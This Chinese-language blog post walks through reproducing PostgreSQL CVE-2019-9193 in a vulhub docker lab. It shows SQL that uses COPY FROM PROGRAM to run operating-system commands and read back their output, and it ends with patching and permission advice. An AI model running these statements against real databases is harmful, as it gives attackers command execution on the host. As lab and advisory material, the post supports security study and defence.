这篇文章将为大家详细讲解有关PostgreSQL高权限命令执行漏洞CVE-2019-9193怎么处理,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。
0x00简介
PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统(RDBMS)。采用类似MIT的许可协议,允许开发人员做任何事情,包括在开源或闭源产品中商用,其源代码是免费提供的。
PostgreSQL特点:
Ø 支持WINDOWS、Linux、Solaris、macOS 、BSD。
Ø 支持文本、图像、视频、声音等
Ø 支持ACID、关联完整性、数据库事务、Unicode多国语言。
Ø 支持临时表,与物化视图
Ø 支持SQL的许多功能,例如复杂的SQL查询,子查询,外键,触发器,视图,视图,多进程并发控制(MVCC)、异步复制。
0x01漏洞概述
PostgreSQL是一个功能强大对象关系数据库管理系统(ORDBMS)。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令
0x02影响版本
9.3-11.2
0x03环境搭建
1. 本次漏洞环境使用vulhub中的docker搭建,vulhub下载地址:
https://github.com/vulhub/vulhub
2.下载完成后使用xftp传入安装有docker和环docker-compose境的虚拟机中解压并启动环境
cd vulhub-master/postgres/CVE-2019-9193
docker-compose up -d
3.使用docker ps查看是否启动成功
4.启动成功后使用navicat连接数据库,数据库初始账号密码为postgres/
postgres
0x04漏洞复现
注:这个漏洞介于权限提升和任意代码执行之间,它需要一些前提权限,这些权限可以是通过正常的登录PostgreSQL也可以是通过SQL注入获得与PostgreSQL交互的途径。需要说明的是,上述两种情形下都需要用户是一个超级用户或者是“pg_read_server_files”组用户
1.执行删除你想用来保存命令输出但是可能存在的表,这一步可有可无
DROP TABLE IF EXISTS cmd_exec
2.创建用来保存命令输出的表
CREATE TABLE cmd_exec(cmd_output text);
3.通过 “COPY FROM PROGRAM”执行系统命令
COPY cmd_exec FROM PROGRAM 'id'
4.将结果显示出来
SELECT * FROM cmd_exec
5.执行其他命令
6.查看账号信息
0x05修复建议
1.建议升级至最新版本
2.控制数据库权限禁止普通用户执行命令
关于“PostgreSQL高权限命令执行漏洞CVE-2019-9193怎么处理”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。
原创文章,作者:carmelaweatherly,如若转载,请注明出处:https://blog.ytso.com/226020.html